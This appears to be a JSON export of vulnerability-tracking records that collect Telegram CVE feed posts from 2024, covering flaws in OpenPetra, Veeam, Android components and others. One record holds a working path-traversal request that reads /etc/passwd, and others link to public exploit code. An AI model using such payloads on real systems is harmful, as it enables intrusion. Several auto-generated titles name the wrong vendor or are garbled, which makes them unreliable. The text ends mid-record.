{"uuid": "c284d062-ed28-46ca-a876-f4960965423a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40480", "type": "seen", "source": "https://t.me/cvedetector/8879", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-10353 - SourceCodester Online Exam System: Critical Remote Access Control Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-10353 \nPublished : Oct. 25, 2024, 12:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in SourceCodester Online Exam System 1.0. Affected is an unknown function of the file /admin-dashboard. The manipulation leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This affects a different product and is a different issue than CVE-2024-40480. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-25T02:52:17.000000Z"}, {"uuid": "d2049a82-afab-43f1-ae56-a798ebf0b217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4089", "type": "seen", "source": "https://t.me/cvedetector/7700", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4089 - Lenovo Super File DLL Hijack Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-4089 \nPublished : Oct. 11, 2024, 4:15 p.m. | 25\u00a0minutes ago \nDescription : A DLL hijack vulnerability was reported in Lenovo Super File that could allow a local attacker to execute code with elevated privileges. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-11T18:42:47.000000Z"}, {"uuid": "96531069-09d8-4074-82f4-953f8fa54828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/669", "content": "#exploit\n1. CVE-2024-40711:\nVeeam Backup & Response - RCE\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2\n\n2. CVE-2024-28000:\nLiteSpeed Cache Privilege Escalation\nhttps://github.com/Alucard0x1/CVE-2024-28000\n\n3. CVE-2024-6800:\nGHES Authentication Bypass\nhttps://cyble.com/blog/saml-exploit-github-cve-2024-6800", "creation_timestamp": "2024-09-10T10:01:29.000000Z"}, {"uuid": "ae452de4-cdf1-4a5f-a708-c712238b0495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40761", "type": "seen", "source": "https://t.me/cvedetector/6300", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40761 - Apache Answer MD5 Encryption Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-40761 \nPublished : Sept. 25, 2024, 8:15 a.m. | 40\u00a0minutes ago \nDescription : Inadequate Encryption Strength vulnerability in Apache Answer.  \n  \nThis issue affects Apache Answer: through 1.3.5.  \n  \nUsing the MD5 value of a user's email to access Gravatar is insecure and can lead to the leakage of user email. The official recommendation is to use SHA256 instead.  \nUsers are recommended to upgrade to version 1.4.0, which fixes the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-25T10:58:16.000000Z"}, {"uuid": "579b76df-fdfd-4bf7-bcc7-f432050fb570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/1542", "content": "CVE-2024-40348\n\nGET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\n\netc/passwd", "creation_timestamp": "2024-07-26T13:23:37.000000Z"}, {"uuid": "5f25ae79-4bf5-4023-aaaf-9e2803ad7e90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/1428", "content": "https://github.com/bigb0x/CVE-2024-40348\n\nPOC for CVE-2024-40348. Will attempt to read /etc/passwd from target", "creation_timestamp": "2024-07-25T15:46:19.000000Z"}, {"uuid": "065e3425-4951-4c0a-a04c-13b4b4fe5779", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/ton618cyber/5663", "content": "Critical Veeam Vulnerability Exploited to Spread Akira and Fog Ransomware\n\nCybercriminals exploit CVE-2024-40711 in Veeam to deploy ransomware, targeting unpatched systems and compromised VPNs.\n\nthehackernews.com \u2022 Oct 14, 2024", "creation_timestamp": "2024-10-14T13:00:26.000000Z"}, {"uuid": "060f7977-0a80-4b3d-9d5f-1b14972e37e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40510", "type": "seen", "source": "https://t.me/cvedetector/6546", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40510 - OpenPetra XSS\", \n  \"Content\": \"CVE ID : CVE-2024-40510 \nPublished : Sept. 27, 2024, 3:15 p.m. | 38\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMCommon.asmx function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T18:24:25.000000Z"}, {"uuid": "0fdfa753-ad21-433a-963c-14a5252ddff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40509", "type": "seen", "source": "https://t.me/cvedetector/6545", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40509 - OpenPetra Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-40509 \nPublished : Sept. 27, 2024, 3:15 p.m. | 38\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMFinDev.asmx function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T18:24:24.000000Z"}, {"uuid": "0751427d-bab5-4705-8ff4-19c87887ac3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40512", "type": "seen", "source": "https://t.me/cvedetector/6533", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40512 - OpenPetra Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40512 \nPublished : Sept. 27, 2024, 2:15 p.m. | 28\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMReporting.asmx function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T16:43:49.000000Z"}, {"uuid": "1548c7a7-76db-4805-816e-9833117f72ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40511", "type": "seen", "source": "https://t.me/cvedetector/6532", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40511 - OpenPetra Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-40511 \nPublished : Sept. 27, 2024, 2:15 p.m. | 28\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMServerAdmin.asmx function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T16:43:48.000000Z"}, {"uuid": "7e351769-8319-487a-a446-96e5c5a4fa5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4099", "type": "seen", "source": "https://t.me/cvedetector/6471", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4099 - \"GitLab EE AI Feature Unsanitized Content Vulnerability (Prompt Injection)\"\", \n  \"Content\": \"CVE ID : CVE-2024-4099 \nPublished : Sept. 26, 2024, 11:15 p.m. | 40\u00a0minutes ago \nDescription : An issue has been discovered in GitLab EE affecting all versions starting from 16.0 prior to 17.2.8, from 17.3 prior to 17.3.4, and from 17.4 prior to 17.4.1. An AI feature was found to read unsanitized content in a way that could have allowed an attacker to hide prompt injection. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T02:22:25.000000Z"}, {"uuid": "445fdc09-eac0-4777-9fed-b3ebf2e81b88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40508", "type": "seen", "source": "https://t.me/cvedetector/6469", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40508 - OpenPetra Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-40508 \nPublished : Sept. 26, 2024, 10:15 p.m. | 18\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMConference.asmx function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T00:42:13.000000Z"}, {"uuid": "6b3f3e2b-553a-46f7-9af6-b77111a44bbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40507", "type": "seen", "source": "https://t.me/cvedetector/6468", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40507 - OpenPetra Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-40507 \nPublished : Sept. 26, 2024, 10:15 p.m. | 18\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMPersonnel.asmx function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T00:42:12.000000Z"}, {"uuid": "5b1510a6-4032-42f7-8db8-0c01b2a606e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40506", "type": "seen", "source": "https://t.me/cvedetector/6467", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40506 - Apache OpenPetra Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40506 \nPublished : Sept. 26, 2024, 10:15 p.m. | 18\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMHospitality.asmx function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T00:42:08.000000Z"}, {"uuid": "80911ee3-9a6d-4d02-bd60-76fb12abac08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40650", "type": "seen", "source": "https://t.me/cvedetector/5323", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40650 - \"Google WiFi FRP Bypass Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-40650 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In wifi_item_edit_content of styles.xml , there is a possible FRP bypass due to Missing check for FRP state. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:59.000000Z"}, {"uuid": "9a59afd3-bc91-4ade-b6de-1b08b493fedd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40659", "type": "seen", "source": "https://t.me/cvedetector/5317", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40659 - AndroidKeyStore Local DoS Vulnerability in RemoteProvisioningService\", \n  \"Content\": \"CVE ID : CVE-2024-40659 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In getRegistration of RemoteProvisioningService.java, there is a possible way to permanently disable the AndroidKeyStore key generation feature by updating the attestation keys of all installed apps due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:51.000000Z"}, {"uuid": "5f634336-cbf4-4a79-84c3-fc8d2c277ca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40654", "type": "seen", "source": "https://t.me/cvedetector/5315", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40654 - Google Chrome Privilege Escalation Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40654 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:50.000000Z"}, {"uuid": "260d6cdd-4a46-45ec-a3c3-9971a1cec71c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40652", "type": "seen", "source": "https://t.me/cvedetector/5321", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40652 - HP Settings Local Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40652 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In onCreate of SettingsHomepageActivity.java, there is a possible way to access the Settings app while the device is provisioning due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:57.000000Z"}, {"uuid": "b10af905-1c74-4a67-b26d-08f1dada687f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40656", "type": "seen", "source": "https://t.me/cvedetector/5316", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40656 - Apache Conference Server Image Inference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40656 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In handleCreateConferenceComplete of ConnectionServiceWrapper.java, there is a possible way to reveal images across users due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:51.000000Z"}, {"uuid": "d6bfb918-cc37-49e0-87d3-6893e7a955db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40662", "type": "seen", "source": "https://t.me/cvedetector/5322", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40662 - Apache Uri Java Escalation of Privilege Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40662 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In scheme of Uri.java, there is a possible way to craft a malformed Uri object due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:58.000000Z"}, {"uuid": "ef65e6da-b0fe-464e-abd4-b9a9cdeb67d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40655", "type": "seen", "source": "https://t.me/cvedetector/5320", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40655 - Google Android Service Permission Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40655 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In bindAndGetCallIdentification of CallScreeningServiceHelper.java, there is a possible way to maintain a while-in-use permission in the background due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:57.000000Z"}, {"uuid": "ce58f168-620e-4dc3-8009-97d9c831107d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40658", "type": "seen", "source": "https://t.me/cvedetector/5319", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40658 - Rapid_io_open_intel camera\u591a\u3044 hepatitis\", \n  \"Content\": \"CVE ID : CVE-2024-40658 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In getConfig of SoftVideoDecoderOMXComponent.cpp, there is a possible out of bounds write due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:53.000000Z"}, {"uuid": "85317ce9-01ea-421d-895e-2a4cd753942c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40657", "type": "seen", "source": "https://t.me/cvedetector/5318", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40657 - \"Atlassian AccountType Preference Loading Privilege Escalation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-40657 \nPublished : Sept. 11, 2024, 12:15 a.m. | 30\u00a0minutes ago \nDescription : In addPreferencesForType of AccountTypePreferenceLoader.java, there is a possible way to disable apps for other users due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-11T02:47:52.000000Z"}, {"uuid": "4b943dae-c824-46d2-b042-a5928603d8b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40457", "type": "seen", "source": "https://t.me/cvedetector/5480", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40457 - No-IP Dynamic Update Client Cleartext Credential Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-40457 \nPublished : Sept. 12, 2024, 2:16 p.m. | 29\u00a0minutes ago \nDescription : No-IP Dynamic Update Client (DUC) v3.x uses cleartext credentials that may occur on a command line or in a file. NOTE: the vendor's position is that cleartext in /etc/default/noip-duc is recommended and is the intentional behavior. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T16:52:28.000000Z"}, {"uuid": "790c2310-fc56-4ad8-b827-566a7bb6ebc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40441", "type": "seen", "source": "https://t.me/cvedetector/6197", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40441 - \"Doccano Privilege Escalation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-40441 \nPublished : Sept. 23, 2024, 5:15 p.m. | 17\u00a0minutes ago \nDescription : An issue in Doccano Open source annotation tools for machine learning practitioners v.1.8.4 and Doccano Auto Labeling Pipeline module to annotate a document automatically v.0.1.23 allows a remote attacker to escalate privileges via the model_attribs parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-23T19:39:56.000000Z"}, {"uuid": "ddf08483-76a2-44bc-a00e-9cd13ffabfc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40442", "type": "seen", "source": "https://t.me/cvedetector/6196", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40442 - Doccano Remote Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40442 \nPublished : Sept. 23, 2024, 5:15 p.m. | 17\u00a0minutes ago \nDescription : An issue in Doccano Open source annotation tools for machine learning practitioners v.1.8.4 and Doccano Auto Labeling Pipeline module to annotate a document automatically v.0.1.23 allows a remote attacker to escalate privileges via a crafted REST Request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-23T19:39:55.000000Z"}, {"uuid": "d955c234-9348-4da9-90d7-56e5be3cb3e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40568", "type": "seen", "source": "https://t.me/cvedetector/6025", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40568 - btstack mesh Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40568 \nPublished : Sept. 18, 2024, 9:15 p.m. | 37\u00a0minutes ago \nDescription : Buffer Overflow vulnerability in btstack mesh commit before v.864e2f2b6b7878c8fab3cf5ee84ae566e3380c58 allows a remote attacker to execute arbitrary code via the pb_adv_handle_tranaction_cont function in the src/mesh/pb_adv.c component \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-19T00:16:50.000000Z"}, {"uuid": "6f27866f-8709-49d3-861f-764c7799d479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40680", "type": "seen", "source": "https://t.me/cvedetector/5023", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40680 - IBM MQ Operator Stack-Based Buffer Overflow Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40680 \nPublished : Sept. 7, 2024, 2:15 p.m. | 30\u00a0minutes ago \nDescription : IBM MQ Operator 2.0.26 and 3.2.4 could allow a local user to cause a denial of service due to improper memory allocation causing a segmentation fault. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T16:50:08.000000Z"}, {"uuid": "ce82c34b-c93d-4d1d-bdd5-157274392bd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40395", "type": "seen", "source": "https://t.me/cvedetector/4254", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40395 - PTC ThingWorx IDOR Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40395 \nPublished : Aug. 27, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An Insecure Direct Object Reference (IDOR) in PTC ThingWorx v9.5.0 allows attackers to view sensitive information, including PII, regardless of access level. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-27T19:03:58.000000Z"}, {"uuid": "a05a6964-820c-41bf-8e8a-82dcf33cf022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 